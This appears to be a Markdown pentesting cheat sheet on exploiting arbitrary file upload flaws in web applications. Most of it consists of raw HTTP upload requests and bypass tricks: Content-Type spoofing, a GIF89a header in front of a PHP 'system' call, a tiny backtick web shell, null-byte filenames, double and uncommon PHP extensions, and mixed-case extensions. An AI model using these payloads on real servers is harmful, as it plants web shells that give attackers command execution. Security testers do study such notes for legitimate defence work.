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92 lines
2.0 KiB
Markdown
92 lines
2.0 KiB
Markdown
# Arbitrary File Upload
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## Introduction
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An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.
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## Where to find
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In upload file feature, for example upload photo profile feature
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## How to exploit
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1. Change the `Content-Type` value
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```
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POST /images/upload/ HTTP/1.1
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Host: target.com
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...
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---------------------------829348923824
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Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
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Content-Type: application/x-php
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```
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Change the Content-Type
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```
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POST /images/upload/ HTTP/1.1
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Host: target.com
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...
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---------------------------829348923824
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Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
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Content-Type: image/jpeg
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```
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2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
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```
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POST /images/upload/ HTTP/1.1
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Host: target.com
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...
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---------------------------829348923824
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Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
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Content-Type: application/x-php
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```
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Change the request to this
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```
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POST /images/upload/ HTTP/1.1
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Host: target.com
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...
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---------------------------829348923824
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Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
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Content-Type: application/x-php
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```
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3. Upload the payload, but start with GIF89a; and
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```
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POST /images/upload/ HTTP/1.1
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Host: target.com
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...
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---------------------------829348923824
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Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
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Content-Type: image/gif
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GIF89a; <?php system("id") ?>
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```
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And dont forget to change the content-type to image/gif
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4. Bypass content length validation, it can be bypassed using small payload
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```
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(<?=`$_GET[x]`?>)
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```
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5. Using null byte in filename
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```
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file.php%00.gif
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```
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6. Using double extensions for the uploaded file
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```
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file.jpg.php
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```
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7. Uploading an unpopular php extensions (php4,php5,php6,phtml)
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```
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file.php5
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```
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8. Try to randomly capitalizes the file extension
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```
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file.pHP5
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```
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9. Mix the tips!
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